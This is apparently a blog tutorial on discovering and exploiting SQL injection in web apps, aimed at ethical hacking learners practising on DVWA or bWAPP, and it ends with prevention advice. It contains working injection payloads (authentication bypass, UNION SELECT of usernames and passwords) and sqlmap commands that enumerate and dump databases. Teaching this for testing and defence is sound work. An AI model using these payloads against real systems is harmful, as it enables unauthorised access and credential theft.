Discovering SQLi Vulnerabilities | Step-by-Step Guide to Intercept and Exploit User Inputs

Table of Contents

•  What is SQL Injection?
•  Goal of This Guide:
• Tools You’ll Need:
• Step-by-Step: Discovering and Exploiting SQLi Vulnerabilities
• How to Prevent SQL Injection
• Real-World Example: SQLi in Action
• Conclusion
• Frequently Asked Questions (FAQs)

In the world of ethical hacking and penetration testing, SQL Injection (SQLi) remains one of the most dangerous and commonly exploited vulnerabilities in web applications. It allows attackers to interfere with the queries that an application makes to its database. This blog will guide you step-by-step through discovering SQLi vulnerabilities, how to intercept user input, and ethically simulate an attack to demonstrate the risks and encourage remediation.

Disclaimer: This blog is for educational and ethical hacking training purposes only. Always obtain written permission before performing any security testing on a system you do not own.

 What is SQL Injection?

SQL Injection (SQLi) is a type of attack where an attacker injects malicious SQL code into input fields of a web application. This can manipulate the database, retrieve unauthorized data, or even gain administrative access.

Goal of This Guide:

• Understand how to discover SQL injection vulnerabilities

• Intercept and manipulate user inputs

• Simulate SQLi to demonstrate the risk

• Learn how to secure against SQLi

Tools You’ll Need:

 Step-by-Step: Discovering and Exploiting SQLi Vulnerabilities

 Step 1: Set Up a Safe Testing Environment

Before you begin, set up a vulnerable lab using:

• DVWA (Damn Vulnerable Web App)

• bWAPP (Buggy Web Application)

These environments are designed for learning and practice.

 Step 2: Identify Input Points

Visit the web app and look for forms or URL parameters such as:

• Login forms

• Search bars

• ID fields in URLs, e.g., http://example.com/item.php?id=2

Try submitting an apostrophe (') in input fields to test for SQL errors.

Example Input:

http://testsite.com/product.php?id=2'

If the response returns an SQL error like:

"You have an error in your SQL syntax"

It suggests possible SQL injection vulnerability.

 Step 3: Intercept Requests with Burp Suite

1. Launch Burp Suite.

2. Configure your browser to use Burp as a proxy (127.0.0.1:8080).

3. Interact with the form or link.

4. Capture the request in the “Proxy” tab.

5. Send it to “Repeater” for manual testing.

 Step 4: Test with SQLi Payloads

Manually insert payloads into parameters:

Examples:

'  OR 1=1-- 
admin' -- 
' 
UNION SELECT null, username, password FROM users-- 

In Burp Repeater, try replacing the value of a parameter like:

GET /login.php?user=admin'--&pass=123 HTTP/1.1

Observe the response. If you get access or altered behavior, the input is injectable.

 Step 5: Automate SQLi Detection with SQLMap

Use SQLMap to speed up exploitation:

sqlmap -u "http://testsite.com/item.php?id=2" --batch --dbs

• --dbs: Lists the available databases.

• --tables -D dbname: Lists tables from the chosen DB.

• --dump -D dbname -T tablename: Dumps table data.

SQLMap can even identify DBMS types (MySQL, MSSQL, PostgreSQL).

Step 6: Understand Types of SQL Injection

 How to Prevent SQL Injection

Here are secure coding practices:

• Use Prepared Statements (Parameterized Queries)
  Avoid building SQL with string concatenation.

• Whitelist Inputs
  Validate and sanitize all inputs.

• Use ORM Tools
  Frameworks like SQLAlchemy or Django ORM abstract SQL queries securely.

• Error Handling
  Disable detailed error messages in production.

• Web Application Firewalls (WAF)
  Add an extra layer of protection.

 Real-World Example: SQLi in Action

Let’s say the login form sends:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

By entering ' OR 1=1-- in the username field, the query becomes:

SELECT * FROM users WHERE username = '' OR 1=1--' AND password = '';

The OR 1=1 condition always evaluates to true, potentially bypassing authentication.

 Conclusion

SQL Injection is one of the oldest and most severe vulnerabilities in web applications. As an ethical hacker or cybersecurity learner, mastering the techniques to detect and responsibly exploit SQLi is essential to protect systems from real-world threats.

By using tools like Burp Suite and SQLMap, and practicing in controlled environments, you’ll gain hands-on experience and insight into web application security.